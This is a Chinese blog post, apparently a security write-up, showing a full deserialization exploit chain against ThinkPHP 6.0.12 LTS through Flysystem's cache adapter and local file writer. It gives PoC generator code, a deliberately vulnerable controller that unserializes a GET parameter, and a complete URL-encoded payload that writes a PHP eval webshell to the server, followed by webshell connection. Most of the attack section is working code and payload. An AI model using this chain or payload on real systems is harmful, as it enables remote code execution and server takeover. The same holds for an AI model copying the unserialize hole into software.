• 漏洞挖掘-ThinkPHP6.0.12LTS反序列化


    前提介绍

    tp框架6.0.12是LTS版本,长期维护
    有师傅发过 RCE getshell 的poc链

    准备工作

    composer下载 thinkphp框架

    https://www.phpcomposer.com/ (中国镜像站)

    安装命令:

    composer create-project topthink/think tp6 6.0.12
    
    • 1

    在这里插入图片描述

    打开 nginx中间件

    在这里插入图片描述

    php7.3

    在这里插入图片描述
    在这里插入图片描述
    访问正常。

    方便调试 开启显错

    ‘show_error_msg’ => true

    在这里插入图片描述
    在这里插入图片描述

    找反序列化入口点

    入口点,都是__destruct()类的构造函数,以此触发下一步函数的执行
    下面有很多类都是抽象类
    真正的入口很大程度上是他们的子类等。

    在这里插入图片描述
    看到 命名vendor 第三方 命名空间下
    namespace League\Flysystem\Cached\Storage;
    // 导入第三方类库
    abstract class AbstractCache这个抽象类的析构方法中,调用了save方法
    在这里插入图片描述
    implements 实现一个接口 关键字,必须实现接口中的所有方法。

    查找继承这个抽象类 的子类
    搜索语句:extends AbstractCache

    进一步发现这个Adapter有一个save方法,而且,看方法结构就基本上可以断定是一个写文件的操作。
    在这里插入图片描述

    查询 thinkphp 文档
    https://www.thinkphp.cn/extend/945.html
    确定正是 filesystem 文件系统的 think-filesystem插件
    从thinkphp 5 就已经有了

    think-filesystem基于 Frank de Jonge 开发的 PHP 包 Flysystem 提供了强大的文件系统抽象。
    composer require selden1992/think-flysystem

    提供了文件写入方法api

     API 一般用法
    
    写文件
    
    Files::write('path/to/file.txt', 'contents');
    更新文件
    
    Files::update('path/to/file.txt', 'new contents');
    写或更新文件
    
    Files::put('path/to/file.txt', 'contents');
    读取文件
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12

    重点是,adapter可控,且只需要保证has方法返回false即可写入。

    确定链路

    继续跟进,因为adapter拥有write方法,我们要找到一个有write方法的类。
    发现,本地local.php
    class Local extends AbstractAdapter里的write方法,调用写文件的file_put_contents() 函数。

    在这里插入图片描述
    在这里插入图片描述
    file_put_contents() 函数把一个字符串写入文件中。

     int file_put_contents ( string $filename , mixed $data [, int $flags = 0 [, resource $context ]] )
    
    如果成功,该函数将返回写入文件中的字符数。如果失败,则返回 False。
    
    • 1
    • 2
    • 3

    确定整体write流程

    so,write函数解决了,整个利用链条通顺了。
    整体的调用流程如图所示:
    在这里插入图片描述

    构建poc链并实现getshell

    入口文件 析构函数 处构造

    在这里插入图片描述

         //  //属性值为false,才可以调用该save方法
        protected $autosave = true; 
        protected $cache = ['.'aming'.'\']);?>']; 
        public function __destruct()
        {
    
            // //autoSave参数为false
            if (! $this->autosave) {
                $this->save();
            }
        }
    
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12

    继承析构入口的适配器 Adapter 构造

    在这里插入图片描述

    
    class Adapter extends AbstractCache
    {
        //适配器,也就是我们要利用write方法的类
        
       protected $file = 'aming_hack.php';
         //文件名,写入文件的文件名
    
        public function __construct($local)
            {
                //方便生成的属性为local类对象,所以直接写到构造方法里了
                $this->adapter = $local;
            }
    
    
      public function getForStorage()
        {
            // //不用担心这个函数,它也没把我们的写入的内容怎么地
            $cleaned = $this->cleanContents($this->cache);
    
            return json_encode([$cleaned, $this->complete, $this->expire]);
        }
        public function save()
        {
            $config = new Config(); //为了方便,这个参数可以随便写一下,
            //但是如果随便写,下面的write定义的部分记得把传参约定的类型去掉(要不然php7过不了)
            $contents = $this->getForStorage();
    
            if ($this->adapter->has($this->file)) {
                $this->adapter->update($this->file, $contents, $config);
            } else {
                $this->adapter->write($this->file, $contents, $config);
            }
        }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34

    local 类 构造

    在这里插入图片描述

         //这个$config的约定类型可以去掉,为了方便
        public function write($path, $contents, Config $config)
        {
            //这个调用是没所谓,$path就是传入的文件名,不过要确保文件名是否冲突,所以,每次调用,写入文件的文件名换一下
            $location = $this->applyPathPrefix($path);
            $this->ensureDirectory(dirname($location));
    
            if (($size = file_put_contents($location, $contents, $this->writeFlags)) === false) {
                return false;
            }
    
            // $type = 'file';
            // $result = compact('contents', 'type', 'size', 'path');
    
            // if ($visibility = $config->get('visibility')) {
            //     $result['visibility'] = $visibility;
            //     $this->setVisibility($path, $visibility);
            // }
    
            // return $result;
        }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21

    获取poc

     <?php
    
    
    namespace
    {
        use League\Flysystem\Adapter\Local;
        use League\Flysystem\Cached\Storage\Adapter;
    
        $local = new Local();
    
        echo urlencode(serialize((new Adapter($local))));
    
    }
    
    ?>
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15

    控制类 用来接收poc

     <?php
    namespace app\controller;
    
    use app\BaseController; 
     
    
    class Index extends BaseController
    
    {
    
            public function uns()
        {
            
            unserialize(urldecode(($_GET['aming'])));
    
            
        } 
      
    }
    
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20

    getshell 利用

    http://127.0.0.1/tp6/public/index.php/index/uns?aming=O%3A39%3A%22League\Flysystem\Cached\Storage\Adapter%22%3A6%3A{s%3A10%3A%22%00*%00adapter%22%3BO%3A30%3A%22League\Flysystem\Adapter\Local%22%3A3%3A{s%3A16%3A%22%00*%00permissionMap%22%3BN%3Bs%3A13%3A%22%00*%00writeFlags%22%3BN%3Bs%3A13%3A%22%00*%00pathPrefix%22%3BN%3B}s%3A9%3A%22%00*%00expire%22%3BN%3Bs%3A7%3A%22%00*%00file%22%3Bs%3A8%3A%22abcd.php%22%3Bs%3A11%3A%22%00*%00autosave%22%3Bb%3A0%3Bs%3A8%3A%22%00*%00cache%22%3Ba%3A1%3A{i%3A0%3Bs%3A29%3A%22%3C%3Fphp+eval(%24_POST[%27yyds%27])%3B%3F%3E%22%3B}s%3A11%3A%22%00*%00complete%22%3Ba%3A0%3A{}}
    
    • 1

    在这里插入图片描述

    一句话连接

    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述

  • 相关阅读:
    owl的使用
    Postgresql中yacc语法树冲突解决方法(shift/reduce conflicts)
    【JAVASE系列】06_继承,多态与final
    详细介绍C++日期类的实现
    30-浅拷贝和深拷贝
    通过 urllib 结合代理IP下载文件实现Python爬虫
    JavaWeb实现文件上传和下载
    数组存放二进制,转十进制(C实现)
    MSTP&VRRP协议
    嵌入式 程序调试之gdb和gdbserver的交叉编译及使用
  • 原文地址:https://blog.csdn.net/qq_33608000/article/details/125887789